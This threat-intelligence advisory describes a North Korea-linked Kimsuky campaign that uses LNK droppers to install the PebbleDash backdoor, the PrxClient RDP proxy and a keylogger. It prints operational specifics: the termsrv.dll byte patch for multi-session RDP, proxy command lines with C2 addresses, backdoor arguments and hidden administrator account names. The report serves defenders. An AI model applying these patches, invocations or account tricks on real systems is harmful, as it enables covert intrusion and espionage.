# Kimsuky Group Impersonates Diplomats to Deploy PebbleDash Backdoor and PrxClient Proxy (CVE-less LNK Campaign) > The North Korea-linked Kimsuky group (APT43/Black Banshee) ran spear-phishing campaigns against education-sector personnel by impersonating diplomatic entities, using malicious LNK files to trigger PowerShell/Mshta droppers that installed the PebbleDash backdoor, PrxClient RDP relay proxy, RDP Wrapper, UACMe, SspiUacBypass, and a keylogger. The actor patched termsrv.dll to enable multi-session RDP and created hidden backdoor administrator accounts for persistent, stealthy remote access. - **Published:** 2026-07-22T00:00:00Z - **Last reviewed:** 2026-07-22T00:00:00Z - **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-1645 - **ID:** TL-2026-1645 - **Severity:** HIGH - **Category:** MALWARE - **Status:** ACTIVE - **Actor:** Kimsuky (North Korea) - **Detections:** 9 · **IOCs:** 34 (full data via the Threadlinqs MCP server — Purple tier) ## Description In a campaign documented by AhnLab ASEC (published 2026-07-17), Kimsuky operators sent spear-phishing emails impersonating diplomatic personnel and organizations, targeting education-sector victims with LNK attachments disguised as documents (e.g., "vvn.31.Pdf....Lnk", "D.21 SEOUL.Lnk", "AIE NO. 178 SEOUL.Lnk"). Two execution chains were observed: Case 1 has the LNK directly invoke an embedded PowerShell script; Case 2 has the LNK launch mshta.exe against an embedded malicious HTA script. Both chains ultimately drop a JavaScript downloader ("DefenderUpdate.js") that beacons to C2 for follow-on payloads, plus "Templates.js"/"Templates.ps1" which install a persistence launcher and register a scheduled task named "Windows Templates Update", and "capture.ps1", an exfiltration script that reads and transmits local files to the C2 server. The primary payload is the PebbleDash backdoor, deployed in two variants. An argument-based variant is installed with the argument "QCvt5676hZXbg" and executed with "mJnZzaCN2RnFG", self-copying to %SystemRoot%\System32\smss.exe to masquerade as a legitimate Windows process. A registry-based variant requires argument "edcVFRtgbNHY6", stores its encrypted configuration under HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security\{CC1CFAFD-D1B4-4303-8C2C-0BC4E3C54B5C}, and uses an injector DLL (%SystemDirectory%\sqliom.dll) to inject its payload into the LSASS process for defense evasion and credential-access proximity. PebbleDash communicates with its C2 over an HTTP-based protocol using URL parameters (Page=&mode=&DATA= for registration, Page=1&mode=2 for command retrieval, Page=2&mode=&DATA= for result exfiltration) and supports at least 27 distinct commands covering drive/process/system enumeration, file download/upload/delete/wipe/move, arbitrary process execution, configuration updates, heartbeat, self-deletion, and remote shutdown. Alongside PebbleDash, the actor deploys PrxClient, a lightweight relay/proxy tool that pivots traffic between the attacker's C2 infrastructure and the victim's local RDP port (3389), effectively turning the compromised host into a reverse-proxy jump box for interactive RDP sessions without requiring inbound firewall exceptions. Observed invocations pass six positional arguments: C2 heartbeat port, C2 IP, C2 port, local IP, local RDP port, and a heartbeat-data flag, e.g. "125.tmp 6060 153.75.233.17 8080 127.0.0.2 3389 2" and "rpc.exe 6060 153.75.233.17 8080 127.0.0.2 3389 1". To maximize the value of RDP access, the actor drops RDP Wrapper (via rdpwrap.bat) to enable RDP service on editions that normally restrict it and to activate a dormant Administrator account, alongside an in-house RDP Patcher that binary-patches the legitimate termsrv.dll routine (legitimate bytes "39 81 3C 06 00 00..." replaced with "B8 00 01 00 00 89 81 38 06 00 00 90") to remove the single-session RDP restriction, enabling concurrent multi-session RDP logins without alerting the interactive user. The patched DLL is staged at C:\temp.dll before replacing the system file. The actor then creates multiple hidden local backdoor accounts with disguised names and passwords, including "Administrator" (variant passwords resembling "12*@#"), a second "Administrator" variant ("R8*ca"), and "Adminini" ("09*21"), to guarantee persistent multi-session RDP access even if one credential set is discovered and remediated. Privilege escalation is achieved via UACMe-derived UAC-bypass techniques and SspiUacBypass, a technique that abuses NTLM datagram security-context manipulation in the Security Support Provider Interface to elevate privileges without a UAC prompt. A custom keylogger persists on the host, writing captured keystrokes to %TEMP%\Log..bin before periodic exfiltration to the C2. Additional loader/downloader scripts ("swas.txt", "sadadf.txt") execute further obfuscated PowerShell, and the actor is observed running "rdpwrap_new.bat" or exfiltrating System32 directory listings as reconnaissance for further tooling deployment. Infrastructure includes an HTTP C2 panel at 167.88.165.122 (/login.asp) and a cluster of attacker-registered/compromised domains masquerading as legitimate services (edcvbgtrf.medianewsonline.com, fsfhsfgsfsnxcvbasfsgsrhsf234fsd.mywebcommunity.org, mpo4wj.scienceontheweb.net, ng.mofagov.com — impersonating a foreign-ministry domain pattern consistent with the diplomatic-impersonation lure, p563q1.sportsontheweb.net), backed by hosting IPs 103.212.120.253, 153.75.233.17, 173.214.170.58, and 167.88.165.122. This tradecraft — LNK-triggered multi-stage PowerShell droppers, PebbleDash, RDP-based interactive access via patched termsrv.dll and hidden accounts, and UAC-bypass privilege escalation — is consistent with Kimsuky's (APT43/Black Banshee/Velvet Chollima/Emerald Sleet/THALLIUM/TA427/Springtail) long-running espionage operations against government, diplomatic, academic, and think-tank targets on behalf of North Korea's Reconnaissance General Bureau. ## MITRE ATT&CK - T1566.001 Spearphishing Attachment - T1059.001 PowerShell - T1059.007 JavaScript - T1218.005 Mshta - T1053.005 Scheduled Task - T1136.001 Local Account - T1098.007 Additional Local or Domain Groups - T1053.005 Scheduled Task - T1548.002 Bypass User Account Control - T1140 Deobfuscate/Decode Files or Information - T1036.005 Match Legitimate Resource Name or Location - T1564.002 Hidden Users - T1112 Modify Registry - T1055 Process Injection - T1070.004 File Deletion - T1056.001 Keylogging - T1003.001 LSASS Memory - T1083 File and Directory Discovery - T1082 System Information Discovery - T1057 Process Discovery - T1021.001 Remote Desktop Protocol - T1005 Data from Local System - T1071.001 Web Protocols - T1090 Proxy - T1571 Non-Standard Port - T1105 Ingress Tool Transfer - T1219 Remote Access Tools - T1041 Exfiltration Over C2 Channel ## Sources - [Attack Cases by the Kimsuky Group Impersonating Diplomats (PebbleDash, PrxClient)](https://asec.ahnlab.com/en/94552/) - [Kimsuky, Black Banshee, Velvet Chollima, Emerald Sleet, THALLIUM, APT43, TA427, Springtail, Earth Kumiho, PatheticSlug, Group G0094](https://attack.mitre.org/groups/G0094/) - [APT43 Hackers Targeting Academic Institutions Using Exposed Credentials](https://gbhackers.com/apt43-hackers-targeting-academic-institutions/) - [APT PROFILE – APT43](https://www.cyfirma.com/research/apt-profile-apt43/) - [Threat Assessment: North Korean Threat Groups](https://unit42.paloaltonetworks.com/threat-assessment-north-korean-threat-groups-2024/) - [Kimsuky (Threat Actor)](https://malpedia.caad.fkie.fraunhofer.de/actor/kimsuky) - [Kimsuky (G0094): North Korean APT Group Tactics, Techniques, and Defenses](https://www.securityscientist.net/blog/12-questions-and-answers-about-kimsuky-g0094/) ## Full data Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp Canonical: https://intel.threadlinqs.com/threat/TL-2026-1645